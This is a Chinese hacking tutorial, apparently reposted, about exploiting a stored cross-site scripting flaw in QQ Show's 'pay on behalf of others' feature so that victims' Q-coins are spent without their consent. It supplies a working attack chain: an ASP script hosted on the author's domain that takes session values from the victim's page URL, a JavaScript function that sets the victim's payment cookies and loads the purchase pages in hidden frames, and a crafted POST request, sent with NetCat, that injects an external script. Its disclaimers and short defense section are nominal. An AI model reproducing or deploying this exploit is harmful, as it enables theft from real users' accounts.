强迫他人给你买QQ秀的办法首先声明我个人没试过.只是让大家知道漏洞存在是难免的,关键是要去发现.只供当学习资料.

有没有想到过,在打开别人发来的一条让你帮忙支付QQ秀衣服的请求时,你还没有点击“确定”,系统就已经“好心的”替你支付完毕了?

没错,下面就跟着永久免费网来通过QQ网站的漏洞,构建攻击代码,巧妙地对你的QQ好友的Q币来一次亲密接触吧。

跨站点的发现

QQ秀有“他人支付”一个功能,就是在购买物品账户余额不足的时候,可以让用户的好友付账。在这个付账的留言中,我们可以填写经过构造的任意危险内容,网站会直接不加过滤的把这个消息通知到QQ的客户端,当受侵害者打开这个消息时,我们放在其中的代码就会执行了。

过程分析

我们先来分析下“他人支付”的过程。
首先在网页上填写请求他人支付的表单,内容有对方的QQ号码和你给对方的留言,然后对方的QQ会弹出提示说有他人的支付请求,被请求的人点击“查看”打开这个请求(其实是打开了一个特殊形态的IE窗口),里面显示你请求对方购买的物品,还有两个按钮:“确定”和“拒绝”。

经过分析页面源代码,点击“拒绝”就是关闭窗口,而点击“确定”是执行了一个自定义的Javascript函数:AskAccept()。这个AskAccept()函数的代码如下:
以下内容为程序代码:
function askAccept()
{
SendItem(’熟草莓’, ’14218’, ’20’, ’14’, 1, 2, ’20813691’, ’90868’); //20813691就是被赠送的人号码
if (0) {
window.location="/mall/inc/cart.html"; //页面跳转
}
else { //设置几个参数
setCookie(’asksession’, ’bgCs4dE3tUryvLZTNSG2EAT47xMCjTs’);
setCookie(’senduin’, ’20813691’);
setCookie(’recvuin’, ’1000000’);
setCookie(’sendid’, ’90868’);
window.location="/mall/inc/cl_cart.html"; //页面跳转
}
}

通过这个函数我们不难看到,程序先设置一些cookies,然后跳转的页面http://qqshow.qq.com/mall/inc/cl_cart.html。这个cl_cart.html是干什么的呢?这个就是点击同意后转到的页面,显示购物车的。再来分析这个页面,首先页面显示了购买的物品,然后有一个“账户支付”的按钮,我们再来分析源代码,点击“账户支付”后页面将被定向到http://qqshow.qq.com/cgi-bin/qqshow_user_ask_pass,来执行购买支付的操作。

跨站构造

我们需要用户执行查看物品页面中的函数AskAccept()的一部分代码,即前面设置cookies的代码,而暂时不能进行页面的跳转,因为如果页面被重定向到了cl_cart.html这个页面的话,我们就失去了对客户端的控制权,但是在页面cl_cart.html又进行了某些设置cookies的操作,所以我们还要用别的方法调用这个页面,同理,我们也要调用页面http://qqshow.qq.com/cgi-bin/qqshow_user_ask_pass来进行支付的操作。
因此我们最终的利用方法是自己构造一个函数Y(),这个函数包括了AskAccept()的设置cookies的代码,但是不包括页面跳转的代码,然后我们用8))e打开页面cl_cart.html和http://qqshow.qq.com/cgi-bin/qqshow_user_ask_pass,完成支付的操作。
大概的流程清楚了,我们还有很多细节问题需要解决。
第一个细节就是获得函数Y()(即原来的AskAccept()函数)中要设置的cookies的值,当然,我们不能通过查看只有被要求支付用户才能查看的页面源代码来获得值,怎么办呢,经过笔者分析,用户打开请求的页面地址中包括了要设置的cookies的值,我们只要根据这个页面地址来生成函数就可以了。所以我们还要使用一个asp文件,我们构造的asp文件的内容是:
以下内容为程序代码:
<%
’GetUrl By Blackcat@Blackwoods http://www.blackwoods.cn

’这里截取传来参数中的字符,得到几个参数的值
Dim strUrl,strsenduin,strrecvuin,strsendid,strsession
strUrl = Trim(request.Servervariables("QUERY_STRING"))
strsenduin = Mid(strUrl,Instr(strUrl,"senduin=")+8,Instr(strUrl,"recvuin")-Instr(strUrl,"senduin=")-9)
strrecvuin = Mid(strUrl,Instr(strUrl,"recvuin=")+8,Instr(strUrl,"sendid")-Instr(strUrl,"&recvuin=")-10)
strsendid = Mid(strUrl,Instr(strUrl,"sendid=")+7,Instr(strUrl,"session")-Instr(strUrl,"sendid=")-8)
strsession = Mid(strUrl,Instr(strUrl,"session=")+8,Instr(strUrl,"cl")-Instr(strUrl,"session=")-9)
%>
function Y()
{
SendItem(’夏季水果’, ’17625’, ’36’, ’24’, 1, 2, ’148122410’, ’95534’);
if (0) {
window.location="/mall/inc/cart.html";
}
else {
setCookie(’asksession’, ’<%=strsession%>’);
setCookie(’senduin’, ’<%=strsenduin%>’);
setCookie(’recvuin’, ’<%=strrecvuin%>’);
setCookie(’sendid’, ’<%=strsendid%>’);
}
document.write("<8))e src=’http://qqshow.qq.com/mall/inc/cl_cart.html’></8))e><8))e src=’http://qqshow.qq.com/cgi-bin/qqshow_user_ask_pass’></8))e>")
//实际应用时应将两个8))e的长宽都设为0以达到隐藏的目的
}

我们还要构造SendItem相关参数的值,这个就好构造的多了,因为SendItem这个函数是腾讯编写的通用函数中检测商品并设置购物车的,我们用自己的两个号来获得相关的参数:使用自己的号A,登陆QQ秀网站,购买相关的物品,然后使用“他人支付”,支付人填写自己的号码B,然后用号码B在QQ客户端登陆,查看弹出的请求页面的源代码中AskAccept()函数的相关代码,然后在我们构造的asp文件中修改,当然了,倒数第二个参数要改为我们自己接受获赠物品的号码。

漏洞利用

首先我们要根据上面介绍的方法,构造一个asp文件,上传到我们自己的支持asp的空间上,这里我们假设其地址为
然后我们就要在他人支付请求中填写跨站代码了,可是事情不是那么简单,QQ秀的这个页面作了表单检测,如果填写的字符多于100个字母(50个汉字),就返回错误,但是我们填写的字符肯定要大于那个数的,而我们把页面保存到本地,删除掉检测的代码再提交,又会显示错误,看来腾讯作了防止外部提交的处理,因此我们用发包的方法来解决。

我们进行一次正常的请求的提交,并使用工具WinsockExpert来抓包,抓得包的内容如下:
以下内容为程序代码:
POST /cgi-bin/qqshow_user_askfor HTTP/1.1
……(无关内容省略,下面是我们发送的表单参数。)
items=17698&nowprice=40&itemname=%BB%A8%BC%BE%D3%EA%BC%BE&vipprice=
http%3A%2F%2Fqqshow.qq.com%2Fmall%2Finc%2Freq01.html%3Fitemno%3D17698%
26nowprice%3D40%26itemname%3D%BB%A8%BC%BE%D3%EA%BC%BE%26vipprice%
3D&itemtype=show.qq.com%2Fmall%2Finc%2Freq01.html%3Fitemno%3D17698%26now
price%3D40%26itemname%3D%BB%A8%BC%BE%D3%EA%BC%BE%26vipprice%3D27&
recvuin=15300898&message=Hanguofeng&x=10&y=13

请注意上面标为的Hanguofeng,这个就是我们填写的给被请求者的留言,我们来构造自己的代码:
以下内容为程序代码:

<script>document.write("<script src=’http:// blackwoods.cn/0.asp?"+window.top.location+"’></script>")</script><script>Y()</script>

这里我们用js写一个包含外部脚本的代码,并将页面地址作为一个参数传递给我们的生成外部js的asp页面0.asp,然后我们执行函数Y()。
当然,作为合法的Http请求,我们还需要将这些代码进行URL编码。
然后将这段代码替换掉Hanguofeng,并算出请求的长度,更改前面的Content-Length: 384中384的值。然后用网络军刀NetCat来发包,发完包对方的QQ就会弹出消息,当被请求人打开的时候,如果他的账户余额够,那么我们的支付请求就已经强行通过了,不需要被请求人作任何动作。

防守方法

对于这个漏洞来说,防守方法分为网站和用户两个方面,对于网站来说,应该尽力消除跨站隐患,并且对用户信息进行更好的保护。
那么对于用户来说呢,我们显得比较被动,在网站没有解决跨站的问题前,就不要打开不熟悉好友的要求支付的请求了。

总结

本文不是教您如何进行攻击,而是以QQ秀的漏洞为例,来讲跨站攻击的危害,希望大家不要用这个方法来进行盗取别人QQ号的行为。
许多脚本安全界的朋友认为跨站漏洞是一类鸡肋漏洞,没有什么好利用的地方,玄猫认为,如果您能把思路更打开,不只局限在了盗取cookies方面,诚然,跨站式漏洞可能不如注入或者溢出能够直接得到较高的操作权限,但是跨站式攻击结合别的攻击手段可以取得非常好的效果,以后玄猫还会给大家介绍更多的跨站攻击的利用思路和实例。
网络安全是一个整体,成语说”千里之堤,溃于蚁穴”,正式这个道理,希望国内的门户网站都能注意自己站点上的各种漏洞,更好的保护用户资料的安全。
附:TIPS

什么是跨站式攻击?
按照本质来说,跨站攻击就是攻击者利用程序对用户输入过滤不足,写入可以显示在页面上对其他用户造成影响的代码。还用QQ这个跨站点的例子来说,我们在支付留言中填写代码:
以下内容为程序代码:
<script>alert(“永久免费网”)</script>
就可以在用户浏览这个支付请求时,在其浏览器上弹出一个内容为“永久免费网”的对话框